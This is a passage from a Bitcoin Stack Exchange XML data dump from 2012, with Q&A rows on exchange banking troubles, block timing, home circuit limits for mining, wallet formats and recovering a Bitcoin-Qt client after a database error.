  <row Id="4688" PostTypeId="1" AcceptedAnswerId="4689" CreationDate="2012-09-13T14:13:35.850" Score="6" ViewCount="2100" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/ztjcf/intersango_no_longer_accepting_uk_bank_transfers/&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/ztjcf/intersango_no_longer_accepting_uk_bank_transfers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I hadn't been on the site in a while, but last night I sent £30 to&#xA;  Intersango, only to find out today that they no longer accept&#xA;  transfers. Have opened a ticket with them but am a bit worried that my&#xA;  money will be lost in the ether!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Was the a formal announcement? Do they expect bank transfers to resume?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the deal?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-09-13T20:54:18.020" Title="Why has Intersango stopped accepting UK bank transfers?" Tags="|exchanges|intersango|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4689" PostTypeId="2" ParentId="4688" CreationDate="2012-09-13T20:54:18.020" Score="7" Body="&lt;p&gt;In the UK, banks are free to discontinue providing a banking relationship with certain customers.  Metro Bank chose to do so with Intersango.  They now have no bank in the UK, and there is &lt;a href=&quot;http://bitcoincharts.com/charts/intrsngGBP#rg180zigWeeklyzczsg2012-06-01zeg2012-09-14zm1g10zm2g25zvzcv&quot; rel=&quot;nofollow noreferrer&quot;&gt;very little trading&lt;/a&gt; on their BTC/GBP market since the August 30th action as there are no methods for moving GBPs in or out..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been no mentions that I've seen of this being resolved anytime soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FWQ2x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=63877.msg1122824#msg1122824&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=63877.msg1122824#msg1122824&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For updates, see Intersango's &lt;a href=&quot;https://support.intersango.com/status&quot; rel=&quot;nofollow noreferrer&quot;&gt;status page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-13T20:54:18.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4690" PostTypeId="1" AcceptedAnswerId="4691" CreationDate="2012-09-14T07:53:15.830" Score="8" ViewCount="2020" Body="&lt;p&gt;A block is generated every 10 minutes, on average.&#xA;What is the standard deviation of this distribution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be a measurable property, not a calculable one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a chart of the standard dev over time somewhere (should be added to blockchain.info)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="516" LastEditDate="2012-09-14T20:01:44.173" LastActivityDate="2012-09-14T20:01:44.173" Title="What is the standard deviation of block generation times?" Tags="|blockchain|block-interval|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4691" PostTypeId="2" ParentId="4690" CreationDate="2012-09-14T08:57:59.533" Score="11" Body="&lt;p&gt;Excluding complications like difficulty changes and temporary blockchain splits, you can model the block generation time as an &lt;a href=&quot;http://en.wikipedia.org/wiki/Exponential_distribution&quot; rel=&quot;nofollow noreferrer&quot;&gt;exponential distribution&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An exponential distribution has a standard deviation equal to the expectancy value. This predicts a 10 minute standard deviation for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Measuring the actual distribution isn't that easy. While each block contains a timestamp, that timestamp isn't very accurate, and sometimes the time difference between blocks is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3743/how-can-an-earlier-block-have-a-later-timestamp&quot;&gt;even negative&lt;/a&gt;.&lt;br&gt;&#xA;The timestamp doesn't change over the course of a single share, and some miners deliberately use timestamps deviating from the actual time&lt;/p&gt;&#xA;" OwnerUserId="940" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-09-14T09:13:02.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4692" PostTypeId="1" AcceptedAnswerId="4694" CreationDate="2012-09-14T14:27:30.570" Score="4" ViewCount="13234" Body="&lt;p&gt;Suppose I have a mining rig that draws 1,200 Watts.  How many of those mining rigs can I run on a standard US home circuit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need a special outlet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the risk of an electrical fire?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other safety precautions should I take?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:36:50.817" LastActivityDate="2016-03-16T08:36:50.817" Title="How many Watts can I safely draw from a typical US home circuit for Bitcoin mining?" Tags="|mining-setup|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4693" PostTypeId="2" ParentId="4687" CreationDate="2012-09-14T16:24:37.750" Score="5" Body="&lt;p&gt;Any of the addresses in that array can spend that output. Multisig transactions will give you multiple addresses there.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-09-14T16:24:37.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4694" PostTypeId="2" ParentId="4692" CreationDate="2012-09-14T16:33:30.170" Score="5" Body="&lt;p&gt;There isn't a single &quot;standard&quot; for residential circuits in the U.S. but there might be a typical circuit, such as 20 amps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as plug connections, don't use light-duty extension cords; make sure they are rated for high amperage, say 20amps.  Generally if you are plugging directly into an outlet then the total power drawn can be done safely up to 80% (rule of thumb) of the level the wiring is rated for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the circuit breaker is 20 amps and the circuit is using the proper gauge wiring for that and was wired properly, then you should be able to draw 16 amps safely from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;16 amps * 120V = 1,920 watts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could add a smaller capacity rig on the same circuit but you cannot have more than one of those 1.2 kWh rigs on what might be a &quot;typical&quot; residential circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Disclaimer: I'm not an electrical engineer nor an electrician but I play one on Bitcoin stackexchange.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="1525" LastEditDate="2012-09-14T21:04:35.107" LastActivityDate="2012-09-14T21:04:35.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4696" PostTypeId="1" AcceptedAnswerId="4700" CreationDate="2012-09-14T17:50:43.320" Score="4" ViewCount="335" Body="&lt;p&gt;Is there any analogy to collecting BitCoins as there is in the physical world?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, some notriety was given to the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/450/1878&quot;&gt;Pizza for bitcoin transaction here&lt;/a&gt;, and one of the answers was able to determine how diluted their wallet was with &quot;pizza coins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it conceivable that a &quot;Bitcoin collector&quot; may want to horde or save those bitcoins for historical value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would those bitcoins be traded and sold, without affecting the underlying bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-09-14T19:34:30.003" Title="Is it possible to collect bitcoins? (as a collectors item)" Tags="|transactions|trading|value|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4697" PostTypeId="1" CreationDate="2012-09-14T18:07:02.223" Score="6" ViewCount="654" Body="&lt;p&gt;Is there a standard wallet format that can be read with different bitcoin clients, and that is likely to be compatible to future bitcoin clients as well and thus is usable for long term storage of bitcoins? Or how am I supposed to transfer bitcoins between different bitcoin clients/computers/client versions?&lt;/p&gt;&#xA;" OwnerUserId="1595" LastEditorUserId="1595" LastEditDate="2012-09-18T18:19:56.960" LastActivityDate="2012-09-18T18:19:56.960" Title="Is there a standard wallet format?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4698" PostTypeId="2" ParentId="4697" CreationDate="2012-09-14T19:22:35.863" Score="2" Body="&lt;p&gt;There is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;Wallet Import Format&lt;/a&gt;, which should be a standard for Bitcoin wallets. As to how popular it is, I don't have any data on it. Alternatively, storing the raw private key should suffice, as it can be converted to any other fancy format whenever needed.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-14T19:22:35.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4699" PostTypeId="1" CreationDate="2012-09-14T19:24:30.307" Score="6" ViewCount="4026" Body="&lt;p&gt;i am running bitcoin client on OSX. I am by no stretch of the imagination any good at using terminal. I had over 300 btc in there and my computer went black and now client keeps giving me this message &quot;A fatal error occured. Bitcoin can no longer continue safely and will quit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXCEPTION: 22DbRunRecoveryException&lt;br&gt;&#xA;DbEnv::open: DB_RUNRECOVERY: Fatal error, run database recovery&lt;br&gt;&#xA;bitcoin in Runaway exception&lt;br&gt;&#xA;&quot;&#xA;I can pay somebody to help me fix this problem. dont want to lose the coins i have there. thanks. you'll have to bear with me though. not too good at this. &lt;/p&gt;&#xA;" OwnerUserId="1885" LastEditorUserId="1842" LastEditDate="2012-10-18T00:13:48.857" LastActivityDate="2012-12-17T01:02:05.923" Title="Why is my client saying &quot;A fatal error occured. Bitcoin can no longer continue safely and will quit. &quot;?" Tags="|bitcoin-core|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4700" PostTypeId="2" ParentId="4696" CreationDate="2012-09-14T19:34:30.003" Score="3" Body="&lt;p&gt;Well, first of all, there are the &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;physical Bitcoins&lt;/a&gt; for one thing, which can be collected and traded neatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to trade such historical Bitcoins, you'd probably need to follow some rules. For example, if you were interested in having pure Bitcoins and as close to the original transaction as possible:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any Bitcoin that is a part of a given transaction, or a specific input is 100% pure and 0 removed.&lt;/li&gt;&#xA;&lt;li&gt;Any Bitcoin coming from a transaction of purity p and removed status r is p% pure and r+1 removed.&lt;/li&gt;&#xA;&lt;li&gt;Any Bitcoin coming from a set of transactions, one with purity p and quantity q1 and any others of total purity 0 and quantity q2, would be p*q1/(q1+q2) pure and again, r+1 removed.&lt;/li&gt;&#xA;&lt;li&gt;You also have to take into considerations blocks that collect transaction fees for all of this, but I'd consider them to be 0% pure.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, in the end you would be collecting your beloved Bitcoins to one or more addresses you &#xA;own and not spend them, you'd value transactions that are closer to the source and less diluted. If you'd want to flaunt your collection, you'd just show the unspent Tx list and sign some message with your private key. If you'd want to sell any collected Bitcoins, you'd just create a transaction from one of the unspent transactions, and hopefully not spend any coins on transaction fees, as that would make them more and more scarce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that covers everything. It was an interesting food for thought.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-14T19:34:30.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4701" PostTypeId="2" ParentId="4692" CreationDate="2012-09-14T20:03:38.827" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What other safety precautions should I take?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Surge protection and proper grounding&lt;/li&gt;&#xA;&lt;li&gt;Insurance (either house, rental, or business should cover mining equipment) &lt;/li&gt;&#xA;&lt;li&gt;Plan for floods, earthquakes, tornadoes, etc. if applicable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2012-09-14T20:03:38.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4702" PostTypeId="2" ParentId="4039" CreationDate="2012-09-14T20:07:25.907" Score="1" Body="&lt;p&gt;As far as I know, yes. The expected value (in BTC) of a share is constant in time, for a given difficulty/pool-hashrate/etc.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2012-09-14T20:07:25.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4703" PostTypeId="2" ParentId="4699" CreationDate="2012-09-14T22:00:28.443" Score="2" Body="&lt;p&gt;That alone doesn't provide enough information to know which database file the error is occurring with.   The debug.log might give a more precise indication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a problem with the blockchain, that is easily resolved.  If the problem occurred after your computer crashed, that is likely what happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First though check to eliminate that the problem is that your hard drive partition is filled with no disk space remaining.  That probably isn't the case on your Mac, but just in case, check first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, after making yet another backup up your wallet.dat, then you can do this to get a new copy of the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These instructions are for mac.  For Linux and Windows the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory#Default_Location&quot; rel=&quot;nofollow&quot;&gt;directory&lt;/a&gt; names would be different.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ cd ~/Library/Application Support &#xA; $ mv Bitcoin Bitcoin-bak&#xA; $ mkdir Bitcoin&#xA; $ cd Bitcoin&#xA; $ cp ../Bitcoin-bak/wallet.dat .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then launch Bitcoin-Qt as normal.  It will re-download the blockchain.  This could take 24 hours or more, depending on a number of factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might speed that up a bit by getting the blockchain as-of block 170,000 from here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After it downloads, extract those files into your new ~/.bitcoin directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If after Bitcoin-qt downloads the blockchain to the most recent block and everything works fine (shows your wallet balance and transactions properly), you can then remove the .bitcoin-bak directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd ~/Library/Application Support &#xA;$ rm -rf Bitcoin-bak&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, the blockchain download is faster if you are on the most recent release of Bitcoin-Qt, v0.6.3.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-15T09:08:53.923" LastActivityDate="2012-09-15T09:08:53.923" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4704" PostTypeId="1" AcceptedAnswerId="4706" CreationDate="2012-09-14T23:11:07.370" Score="3" ViewCount="165" Body="&lt;p&gt;As the mining Bitcoin payout decreases from 50 to zero, what incentive is there for miners to continue operating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a need for miners to continue to operate when the payout decreases to zero?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought part of the purpose of mining is to validate the Public key with the General Ledger that is replicated in P2P fashion between nodes.  If the miners go away, will GL validation stop?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-14T19:53:12.617" LastActivityDate="2020-12-24T01:48:41.573" Title="Does a low profit margin on mining reduce the integrity of the blocks stored in the transaction history?" Tags="|mining-reward|mining-theory|reward-schedule|trust|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4705" PostTypeId="1" AcceptedAnswerId="4708" CreationDate="2012-09-15T00:44:41.507" Score="4" ViewCount="2611" Body="&lt;p&gt;My BitMinter client says that my approximate mint speed is 0.0078/per day on a MacBook Pro Retna.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that this value decreases as the speed of the network increases, and therefore my contribution per block is less valuable.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any chart that illustrates how Hhps diminishes value over time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Would this chart correspond with the difficulty value/over time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:06:29.477" LastActivityDate="2016-03-16T09:06:29.477" Title="Is there a chart that shows Mhps mint speed over time?" Tags="|difficulty|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4706" PostTypeId="2" ParentId="4704" CreationDate="2012-09-15T01:27:15.243" Score="2" Body="&lt;p&gt;All that is needed is a number of miners sufficient so that a consensus of bad actors gains control to disrupt the blockchain doesn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction fees are a tiny fraction of the level of the block reward subsidy ( still not exceeding 1% ) but as bitcoin is more widely used, the fees will eventually make up for the lowered subsidy.  That's what is expected, and so far that appears to be what is actually happening:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/charts/transaction-fees?timespan=180days&amp;amp;daysAverageString=7&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/transaction-fees?timespan=180days&amp;amp;daysAverageString=7&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-16T21:15:39.763" LastActivityDate="2012-09-16T21:15:39.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4707" PostTypeId="1" AcceptedAnswerId="4709" CreationDate="2012-09-15T08:33:31.220" Score="8" ViewCount="1430" Body="&lt;p&gt;What kind of protocol does My Wallet use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ZiNq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="24925" LastEditDate="2015-09-15T12:50:21.487" LastActivityDate="2015-09-15T12:50:21.487" Title="What method does My Wallet use to encode messages in the blockchain?" Tags="|blockchain.info|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4708" PostTypeId="2" ParentId="4705" CreationDate="2012-09-15T12:49:25.977" Score="3" Body="&lt;p&gt;Yes, the total hash rate will correspond to the difficulty. After all, difficulty is adjusted based on how fast hashes are found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;Here is a chart&lt;/a&gt; on sipa.be that shows hash rate on the left axis and difficulty on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/hash-rate?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;Here is another&lt;/a&gt; hash rate chart from blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-09-15T12:49:25.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4709" PostTypeId="2" ParentId="4707" CreationDate="2012-09-15T13:04:07.267" Score="11" Body="&lt;p&gt;Messages are stored in a database at blockchain.info (so that text should probably be changed). For a while it did &lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.msg1159289#msg1159289&quot;&gt;use the blockchain&lt;/a&gt; for storing messages but this was changed after concerns from a few of the core developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerns were expressed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.msg1162381#msg1162381&quot;&gt;by Matt Corallo here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Oh god, thats awful...that is quite possibly the worst way to&#xA;  implement messages in terms of network load...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.msg1162402#msg1162402&quot;&gt;by Gavin Andresen here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, please don't create lots of unspendable scriptPubKeys. There are&#xA;  more prunable ways of embedding messages into transactions. And there&#xA;  are even better ways of associating messages with transactions, so&#xA;  only people involved with the transaction can read the message (if&#xA;  that's desired).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.msg1165261#msg1165261&quot;&gt;Here is the message&lt;/a&gt; that implementation was changed back to using a centralized database.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since a few developers have expressed concern I've changed the notes&#xA;  back to the centralised database for now. I still think there are many&#xA;  use cases where you might want to contact the owner of an address&#xA;  without needing to know an email etc, a decentralised way to do this&#xA;  would be great.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2012-09-15T13:09:15.797" LastActivityDate="2012-09-15T13:09:15.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4710" PostTypeId="1" AcceptedAnswerId="4711" CreationDate="2012-09-15T15:51:55.270" Score="7" ViewCount="3292" Body="&lt;p&gt;How can I share my bitcoin wallet with my family members? Such that if my grandmother spends one btc one day, I see that reflected on my computer, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also a great safety mechanism, in case one of our family member's hard drive crashes, the other members will still have the wallet.&lt;/p&gt;&#xA;" OwnerUserId="1888" LastActivityDate="2017-05-22T16:37:06.483" Title="Sharing a wallet with a friend" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4711" PostTypeId="2" ParentId="4710" CreationDate="2012-09-15T16:42:57.993" Score="7" Body="&lt;p&gt;If you're looking for something technically straight-forward, I suggest using an &quot;e-wallet&quot; and giving your partner access to the wallet account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Review these links:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Browser-based_wallet&quot;&gt;https://en.bitcoin.it/wiki/Browser-based_wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here are several e-wallet's listed:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category:EWallets&quot;&gt;https://en.bitcoin.it/wiki/Category:EWallets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2012-09-15T16:42:57.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4712" PostTypeId="1" AcceptedAnswerId="4743" CreationDate="2012-09-15T19:10:36.180" Score="1" ViewCount="248" Body="&lt;p&gt;My Bitcoin Core app (the latest OS X client) is downloading the chain. It has been at the 95% mark for &lt;strong&gt;many hours&lt;/strong&gt; now. It's progressing, but very slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think so, because this is not the first time this happens to me.&lt;/p&gt;&#xA;" OwnerUserId="1888" LastEditorUserId="11928" LastEditDate="2017-12-02T11:02:45.360" LastActivityDate="2017-12-02T11:02:45.360" Title="Bitcoin core for Mac OS X stuck at the 95% mark for hours" Tags="|blockchain|bitcoin-core|client|performance|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4713" PostTypeId="2" ParentId="4710" CreationDate="2012-09-15T20:48:12.717" Score="3" Body="&lt;p&gt;Electrum is a client that uses &quot;deterministic keys&quot;, and thus multiple installations of the same wallet seed are supported.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ecdsa.org/electrum&quot; rel=&quot;nofollow&quot;&gt;http://ecdsa.org/electrum&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Electrum&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Electrum&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(The only exception is if you import keys generated externally, an Electrum wallet those transactions are exclusive to the wallet in which they are imported.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Blockchain.info/wallet has a Desktop Sync feature which will keep your Bitcoin.org client's wallet.dat in sync with your Blockchain.info/wallet, and vice-versa.  That doesn't mean you still don't need to backup your wallet.dat as it &lt;a href=&quot;http://bitcointalk.org/index.php?topic=109774.0&quot; rel=&quot;nofollow&quot;&gt;may not always sync perfectly&lt;/a&gt; but it does give a remote way for others to access your wallet.dat&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://Blockchain.info/wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-15T21:43:50.343" LastActivityDate="2012-09-15T21:43:50.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4715" PostTypeId="2" ParentId="4692" CreationDate="2012-09-16T11:01:06.230" Score="2" Body="&lt;p&gt;As a general rule of thumb, a domestic circuit has a lower or zero 'standing charge' but much higher charge per unit than a 'light industrial' one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A friend of mine was a keen pottery enthusiast and owned a small business make and selling pots at craft fairs. He had the electrical company install a second meter and circuit (in his house) to run his electrical kiln (an oven for firing pots).  This also helped when he did his accounts, as he got two separate bills, it was clear what  could be offset as a business expense for tax purposes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are really serious about mining maybe that would be something to consider. &lt;/p&gt;&#xA;" OwnerUserId="1262" LastEditorUserId="1262" LastEditDate="2012-09-16T11:10:53.003" LastActivityDate="2012-09-16T11:10:53.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4716" PostTypeId="2" ParentId="2428" CreationDate="2012-09-16T13:00:40.420" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://coinurl.com&quot; rel=&quot;nofollow&quot;&gt;CoinURL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We offer interstitial ads like AdFly and text/image keyword-based contextual advertising similar to the Google AdSense. Targeting by location, language and devices. Network-wide and particular website bidding. Strong protection against fraudulent clicks. Zero commission and deposit/withdrawal limits. Easy revenue sharing between website owners and content creators.&lt;/p&gt;&#xA;" OwnerUserId="1884" LastActivityDate="2012-09-16T13:00:40.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4717" PostTypeId="1" AcceptedAnswerId="5875" CreationDate="2012-09-16T13:03:35.643" Score="2" ViewCount="3236" Body="&lt;p&gt;I'm trying to install the latest version of &lt;a href=&quot;https://bitcointalk.org/index.php?topic=75786&quot; rel=&quot;nofollow noreferrer&quot;&gt;Phoenix2&lt;/a&gt; on Mac OSX Mountain Lion (on a Macbook Pro Retna) and unable to get it to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://bitminter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitMinter&lt;/a&gt; client says OpenCL works on my CPU and GPU (It's Java based)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The BitMinter client on older macs says OpenCL fails for the video card (which is expected)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/12443976/328397&quot;&gt;This OpenCL Test Script&lt;/a&gt; fails&lt;/li&gt;&#xA;&lt;li&gt;python -c &quot;import numpy; print numpy.version.version&quot;  returns 1.6.1&lt;/li&gt;&#xA;&lt;li&gt;Installing &lt;a href=&quot;http://pypi.python.org/pypi/pyopencl&quot; rel=&quot;nofollow noreferrer&quot;&gt;PyOpenCL&lt;/a&gt; by running &lt;code&gt;make&lt;/code&gt; and &lt;code&gt;python configure.py&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Running the command: &lt;code&gt;sudo easy_install --upgrade 